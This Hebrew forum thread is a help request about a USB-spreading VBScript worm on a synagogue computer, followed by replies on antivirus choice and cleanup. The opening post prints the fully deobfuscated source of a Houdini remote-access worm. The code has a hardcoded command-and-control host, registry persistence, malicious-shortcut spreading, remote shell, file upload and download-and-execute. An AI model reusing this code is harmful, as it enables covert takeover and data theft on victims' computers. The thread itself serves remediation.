דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. עזרה הדדית - מחשבים וטכנולוגיה
  4. בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

מתוזמן נעוץ נעול הועבר עזרה הדדית - מחשבים וטכנולוגיה
46 פוסטים 16 כותבים 618 צפיות 14 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • ת תלמידהון

    @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

    למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,

    לפי איזה פרמטר הוא יותר חזק?
    דיפנדר טוב מאוד וחינמי

    A מנותק
    A מנותק
    AMDesign
    כתב נערך לאחרונה על ידי
    #32

    @תלמידהון
    למען האמת שאין לי מושג באמת (משתמש במק שלא מצוי כ״כ וירוסים אז אין לי אנטי וירוס) אבל כך ידוע שאיסט הכי טוב.
    דיפנדר מנסיון העבר (הלא רחוק, ובהווה לפעמים) לא משהו.

    מתכנת חובבמ תגובה 1 תגובה אחרונה
    0
    • A AMDesign

      @רנדומלי
      למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
      ואולי אפילו גרסה בתשלום אם זה מתאפשר....

      כ מנותק
      כ מנותק
      כככככ
      כתב נערך לאחרונה על ידי
      #33

      @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

      רנדומלי
      למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
      ואולי אפילו גרסה בתשלום אם זה מתאפשר

      סתם שאלה אין פה בפורום eset פרוץ שאתה כותב לו שיעשה בתשלום

      cfopuserC תגובה 1 תגובה אחרונה
      0
      • כ כככככ

        @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

        רנדומלי
        למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
        ואולי אפילו גרסה בתשלום אם זה מתאפשר

        סתם שאלה אין פה בפורום eset פרוץ שאתה כותב לו שיעשה בתשלום

        cfopuserC מנותק
        cfopuserC מנותק
        cfopuser
        כתב נערך לאחרונה על ידי cfopuser
        #34

        @כככככ anti virus פרוץ אתה לא רואה את הסתירה פה?

        יש מקורות אמינים לתוכנות פרוצות אבל עדיף להשאר בטוח ביחוד בדברים כאלו.

        תגובה 1 תגובה אחרונה
        1
        • ר רנדומלי

          בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

          cmd /c hrxxryydxo.vbs && start explorer [file name]
          

          הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

          לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

          תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

          לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

          z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
          

          בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
          לאחר פיענוח הקידוד התקבל הקוד הבא:
          אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

          e
          '<[ recoder : houdini (c) skype : houdini-fx ]>
          
          '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
          
          host = "khattab.no-ip.biz"
          port = 5550
          installdir = "%temp%"
          lnkfile = true
          lnkfolder = true
          
          '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
          
          dim shellobj 
          set shellobj = wscript.createobject("wscript.shell")
          dim filesystemobj
          set filesystemobj = createobject("scripting.filesystemobject")
          dim httpobj
          set httpobj = createobject("msxml2.xmlhttp")
          
          '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
          
          installname = wscript.scriptname
          startup = shellobj.specialfolders ("startup") & "\"
          installdir = shellobj.expandenvironmentstrings(installdir) & "\"
          if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
          spliter = "<" & "|" & ">"
          sleep = 5000 
          dim response
          dim cmd
          dim param
          info = ""
          usbspreading = ""
          startdate = ""
          dim oneonce
          
          '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
          on error resume next
          
          instance
          while true
          
          install
          
          response = ""
          response = post ("is-ready","")
          cmd = split (response,spliter)
          select case cmd (0)
          case "excecute"
                param = cmd (1)
                execute param
          case "update"
                param = cmd (1)
                oneonce.close
                set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                oneonce.write param
                oneonce.close
                shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                wscript.quit 
          case "uninstall"
                uninstall
          case "send"
                download cmd (1),cmd (2)
          case "site-send"
                sitedownloader cmd (1),cmd (2)
          case "recv"
                param = cmd (1)
                upload (param)
          case  "enum-driver"
                post "is-enum-driver",enumdriver  
          case  "enum-faf"
                param = cmd (1)
                post "is-enum-faf",enumfaf (param)
          case  "enum-process"
                post "is-enum-process",enumprocess   
          case  "cmd-shell"
                param = cmd (1)
                post "is-cmd-shell",cmdshell (param)  
          case  "delete"
                param = cmd (1)
                deletefaf (param) 
          case  "exit-process"
                param = cmd (1)
                exitprocess (param) 
          case  "sleep"
                param = cmd (1)
                sleep = eval (param)        
          end select
          
          wscript.sleep sleep
          
          wend
          
          sub install
          on error resume next
          dim lnkobj
          dim filename
          dim foldername
          dim fileicon
          dim foldericon
          
          upstart
          for each drive in filesystemobj.drives
          
          if  drive.isready = true then
          if  drive.freespace  > 0 then
          if  drive.drivetype  = 1 then
              filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
              if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                  filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
              end if
              for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                  if not lnkfile then exit for
                  if  instr (file.name,".") then
                      if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                          file.attributes = 2+4
                          if  ucase (file.name) <> ucase (installname) then
                              filename = split(file.name,".")
                              set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                              lnkobj.windowstyle = 7
                              lnkobj.targetpath = "cmd.exe"
                              lnkobj.workingdirectory = ""
                              lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                              fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                              if  instr (fileicon,",") = 0 then
                                  lnkobj.iconlocation = file.path
                              else 
                                  lnkobj.iconlocation = fileicon
                              end if
                              lnkobj.save()
                          end if
                      end if
                  end if
              next
              for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                  if not lnkfolder then exit for
                  folder.attributes = 2+4
                  foldername = folder.name
                  set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                  lnkobj.windowstyle = 7
                  lnkobj.targetpath = "cmd.exe"
                  lnkobj.workingdirectory = ""
                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                  foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                  if  instr (foldericon,",") = 0 then
                      lnkobj.iconlocation = folder.path
                  else 
                      lnkobj.iconlocation = foldericon
                  end if
                  lnkobj.save()
              next
          end If
          end If
          end if
          next
          err.clear
          end sub
          
          sub uninstall
          on error resume next
          dim filename
          dim foldername
          
          shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
          shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
          filesystemobj.deletefile startup & installname ,true
          filesystemobj.deletefile wscript.scriptfullname ,true
          
          for  each drive in filesystemobj.drives
          if  drive.isready = true then
          if  drive.freespace  > 0 then
          if  drive.drivetype  = 1 then
              for  each file in filesystemobj.getfolder ( drive.path & "\").files
                   on error resume next
                   if  instr (file.name,".") then
                       if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                           file.attributes = 0
                           if  ucase (file.name) <> ucase (installname) then
                               filename = split(file.name,".")
                               filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                           else
                               filesystemobj.deletefile (drive.path & "\" & file.name)
                           end If
                       else
                           filesystemobj.deletefile (file.path) 
                       end if
                   end if
               next
               for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                   folder.attributes = 0
               next
          end if
          end if
          end if
          next
          wscript.quit
          end sub
          
          function post (cmd ,param)
          
          post = param
          httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
          httpobj.setrequestheader "user-agent:",information
          httpobj.send param
          post = httpobj.responsetext
          end function
          
          function information
          on error resume next
          if  inf = "" then
              inf = hwid & spliter 
              inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
              inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
          
              set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
              set os = root.execquery ("select * from win32_operatingsystem")
              for each osinfo in os
                 inf = inf & osinfo.caption & spliter  
                 exit for
              next
              inf = inf & "plus" & spliter
              inf = inf & security & spliter
              inf = inf & usbspreading
              information = inf  
          else
              information = inf
          end if
          end function
          
          sub upstart ()
          on error resume Next
          
          shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
          filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
          filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
          
          end sub
          
          function hwid
          on error resume next
          
          set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
          set disks = root.execquery ("select * from win32_logicaldisk")
          for each disk in disks
              if  disk.volumeserialnumber <> "" then
                  hwid = disk.volumeserialnumber
                  exit for
              end if
          next
          end function
          
          function security 
          on error resume next
          
          security = ""
          
          set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
          set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
          for each objitem in colitems
              versionstr = split (objitem.version,".")
          next
          versionstr = split (colitems.version,".")
          osversion = versionstr (0) & "."
          for  x = 1 to ubound (versionstr)
               osversion = osversion &  versionstr (i)
          next
          osversion = eval (osversion)
          if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
          
          set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
          Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
          
          for each objantivirus in colantivirus
              security  = security  & objantivirus.displayname & " ."
          next
          if security  = "" then security  = "nan-av"
          end function
          
          function instance
          on error resume next
          
          usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
          if usbspreading = "" then
             if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                usbspreading = "true - " & date
                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
             else
                usbspreading = "false - " & date
                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
          
             end if
          end If
          
          
          upstart
          set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
          set installfullnameshort =  filesystemobj.getfile (installdir & installname)
          if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
              shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
              wscript.quit 
          end If
          err.clear
          set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
          if  err.number > 0 then wscript.quit
          end function
          
          sub sitedownloader (fileurl,filename)
          
          strlink = fileurl
          strsaveto = installdir & filename
          set objhttpdownload = createobject("msxml2.xmlhttp" )
          objhttpdownload.open "get", strlink, false
          objhttpdownload.send
          
          set objfsodownload = createobject ("scripting.filesystemobject")
          if  objfsodownload.fileexists (strsaveto) then
              objfsodownload.deletefile (strsaveto)
          end if
           
          if objhttpdownload.status = 200 then
             dim  objstreamdownload
             set  objstreamdownload = createobject("adodb.stream")
             with objstreamdownload
                  .type = 1 
                  .open
                  .write objhttpdownload.responsebody
                  .savetofile strsaveto
                  .close
             end with
             set objstreamdownload = nothing
          end if
          if objfsodownload.fileexists(strsaveto) then
             shellobj.run objfsodownload.getfile (strsaveto).shortpath
          end if 
          end sub
          
          sub download (fileurl,filedir)
          
          if filedir = "" then 
             filedir = installdir
          end if
          
          strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
          set objhttpdownload = createobject("msxml2.xmlhttp")
          objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
          objhttpdownload.send ""
               
          set objfsodownload = createobject ("scripting.filesystemobject")
          if  objfsodownload.fileexists (strsaveto) then
              objfsodownload.deletefile (strsaveto)
          end if
          if  objhttpdownload.status = 200 then
              dim  objstreamdownload
              set  objstreamdownload = createobject("adodb.stream")
              with objstreamdownload 
                   .type = 1 
                   .open
                   .write objhttpdownload.responsebody
                   .savetofile strsaveto
                   .close
              end with
              set objstreamdownload  = nothing
          end if
          if objfsodownload.fileexists(strsaveto) then
             shellobj.run objfsodownload.getfile (strsaveto).shortpath
          end if 
          end sub
          
          function upload (fileurl)
          
          dim  httpobj,objstreamuploade,buffer
          set  objstreamuploade = createobject("adodb.stream")
          with objstreamuploade 
               .type = 1 
               .open
               .loadfromfile fileurl
               buffer = .read
               .close
          end with
          set objstreamdownload = nothing
          set httpobj = createobject("msxml2.xmlhttp")
          httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
          httpobj.send buffer
          end function
          
          function enumdriver ()
          
          for  each drive in filesystemobj.drives
          if   drive.isready = true then
               enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
          end if
          next
          end Function
          
          function enumfaf (enumdir)
          
          enumfaf = enumdir & spliter
          for  each folder in filesystemobj.getfolder (enumdir).subfolders
               enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
          next
          
          for  each file in filesystemobj.getfolder (enumdir).files
               enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
          
          next
          end function
          
          function enumprocess ()
          
          on error resume next
          
          set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
          set colitems = objwmiservice.execquery("select * from win32_process",,48)
          
          dim objitem
          for each objitem in colitems
              enumprocess = enumprocess & objitem.name & "|"
              enumprocess = enumprocess & objitem.processid & "|"
              enumprocess = enumprocess & objitem.executablepath & spliter
          next
          end function
          
          sub exitprocess (pid)
          on error resume next
          
          shellobj.run "taskkill /F /T /PID " & pid,7,true
          end sub
          
          sub deletefaf (url)
          on error resume next
          
          filesystemobj.deletefile url
          filesystemobj.deletefolder url
          
          end sub
          
          function cmdshell (cmd)
          
          dim httpobj,oexec,readallfromany
          
          set oexec = shellobj.exec ("%comspec% /c " & cmd)
          if not oexec.stdout.atendofstream then
             readallfromany = oexec.stdout.readall
          elseif not oexec.stderr.atendofstream then
             readallfromany = oexec.stderr.readall
          else 
             readallfromany = ""
          end if
          
          cmdshell = readallfromany
          end function
          
          ה מנותק
          ה מנותק
          היפ הופ
          כתב נערך לאחרונה על ידי
          #35

          @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

          גם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

          אם זה עדיין רלוונטי אני יכול לדאוג לך לכל מיני בינות....

          תגובה 1 תגובה אחרונה
          0
          • א אור אור אור

            פוסט זה נמחק!

            המלאךה מנותק
            המלאךה מנותק
            המלאך
            כתב נערך לאחרונה על ידי המלאך
            #36

            @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

            אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
            בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

            צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

            לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

            בחר ב-"פנקס רשימות" (Notepad).

            חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

            לחץ על אישור.

            התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

            @cfopuser הדרך הזו לא מסוכנת?
            כלומר מי ערב לכך שהוא לא יצר לעצמו קיצור דרך?
            או שיריץ דרך הפאואר שיל, הcmd?

            cfopuserC תגובה 1 תגובה אחרונה
            0
            • המלאךה המלאך

              @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

              אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
              בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

              צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

              לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

              בחר ב-"פנקס רשימות" (Notepad).

              חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

              לחץ על אישור.

              התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

              @cfopuser הדרך הזו לא מסוכנת?
              כלומר מי ערב לכך שהוא לא יצר לעצמו קיצור דרך?
              או שיריץ דרך הפאואר שיל, הcmd?

              cfopuserC מנותק
              cfopuserC מנותק
              cfopuser
              כתב נערך לאחרונה על ידי
              #37

              @המלאך ai...
              לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

              המלאךה מתכנת חובבמ 2 תגובות תגובה אחרונה
              0
              • cfopuserC cfopuser

                @המלאך ai...
                לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

                המלאךה מנותק
                המלאךה מנותק
                המלאך
                כתב נערך לאחרונה על ידי
                #38

                @cfopuser 1000204791.jpg

                תגובה 1 תגובה אחרונה
                0
                • A AMDesign

                  @תלמידהון
                  למען האמת שאין לי מושג באמת (משתמש במק שלא מצוי כ״כ וירוסים אז אין לי אנטי וירוס) אבל כך ידוע שאיסט הכי טוב.
                  דיפנדר מנסיון העבר (הלא רחוק, ובהווה לפעמים) לא משהו.

                  מתכנת חובבמ מנותק
                  מתכנת חובבמ מנותק
                  מתכנת חובב
                  מדריכים
                  כתב נערך לאחרונה על ידי
                  #39

                  @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                  דיפנדר מנסיון העבר (הלא רחוק, ובהווה לפעמים) לא משהו.

                  דיפנדר מעולה
                  אולי בעבר הדי רחוק היה לו שם רע
                  כיום כמעט כל האנטי וירוסים הרציניים מקבלים ציונים גבוהים במבחנים ואין כמעט עדיפות של אחד על האחר אצל המשתמש הביתי מעבר לשיקולי מחיר ופיצ'רים

                  צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                  A תגובה 1 תגובה אחרונה
                  4
                  • מתכנת חובבמ מתכנת חובב

                    @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                    דיפנדר מנסיון העבר (הלא רחוק, ובהווה לפעמים) לא משהו.

                    דיפנדר מעולה
                    אולי בעבר הדי רחוק היה לו שם רע
                    כיום כמעט כל האנטי וירוסים הרציניים מקבלים ציונים גבוהים במבחנים ואין כמעט עדיפות של אחד על האחר אצל המשתמש הביתי מעבר לשיקולי מחיר ופיצ'רים

                    A מנותק
                    A מנותק
                    AMDesign
                    כתב נערך לאחרונה על ידי
                    #40

                    @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                    כיום כמעט כל האנטי וירוסים הרציניים

                    ואלו הם?

                    מתכנת חובבמ תגובה 1 תגובה אחרונה
                    0
                    • cfopuserC cfopuser

                      @המלאך ai...
                      לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

                      מתכנת חובבמ מנותק
                      מתכנת חובבמ מנותק
                      מתכנת חובב
                      מדריכים
                      כתב נערך לאחרונה על ידי
                      #41

                      @cfopuser כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                      לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

                      אין עניין לציין מה שאי אפשר \ לא כדאי לחסום
                      כלומר אם הוא יכול להתקין ולעדכן באופן שוטף אנטי וירוס - מעולה ואם לא - לא חושב שכדאי לו לחסום כל מה שזז כי אז הוא עלול להיתקל בהרבה בעיות אחרות
                      לדעתי חסימה של VBS והרצה של תיקון הכללי יספיקו לרוב ככל הוירוסים שמעבירים את עצמם דרך התקנים ניידים

                      צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                      תגובה 1 תגובה אחרונה
                      0
                      • A AMDesign

                        @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                        כיום כמעט כל האנטי וירוסים הרציניים

                        ואלו הם?

                        מתכנת חובבמ מנותק
                        מתכנת חובבמ מנותק
                        מתכנת חובב
                        מדריכים
                        כתב נערך לאחרונה על ידי מתכנת חובב
                        #42

                        @AMDesign הרציניים = רשימה ארוכה של הרבה מאוד אנטי וירוסים מוכרים שאינם אלו שידועים לשמצה

                        צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                        תגובה 1 תגובה אחרונה
                        2
                        • ר מנותק
                          ר מנותק
                          רנדומלי
                          כתב נערך לאחרונה על ידי
                          #43

                          תודה לכל המסייעים. מסתבר שמישהו מ"המנהלים" שיש לו גישה למחשב השבית אנטיוירוס על מנת להדפיס איזה קובץ מהאונקי שלו...

                          ביצעתי את ההצעות הרלוונטיות, כרגע למחשב שלום. מקווה שכך יהיה גם בעתיד. הנחיות אבטחת המידע חודדו והובנו.

                          A תגובה 1 תגובה אחרונה
                          1
                          • ר רנדומלי

                            תודה לכל המסייעים. מסתבר שמישהו מ"המנהלים" שיש לו גישה למחשב השבית אנטיוירוס על מנת להדפיס איזה קובץ מהאונקי שלו...

                            ביצעתי את ההצעות הרלוונטיות, כרגע למחשב שלום. מקווה שכך יהיה גם בעתיד. הנחיות אבטחת המידע חודדו והובנו.

                            A מנותק
                            A מנותק
                            ARISH
                            כתב נערך לאחרונה על ידי
                            #44

                            @רנדומלי אשמח לדעת באיזה מהתיקונים שהובאו השתמשת על מנת לדעת מה היעיל מבינהם או למישהו אחר שיעשה סדר בכל הדברים שהועלו כאן על מנת שנוכל לצאת עם דבר ברור מה באמת יעיל.

                            תגובה 1 תגובה אחרונה
                            0
                            • ר רנדומלי

                              בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                              cmd /c hrxxryydxo.vbs && start explorer [file name]
                              

                              הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                              לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                              תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                              לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                              z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                              

                              בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                              לאחר פיענוח הקידוד התקבל הקוד הבא:
                              אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                              e
                              '<[ recoder : houdini (c) skype : houdini-fx ]>
                              
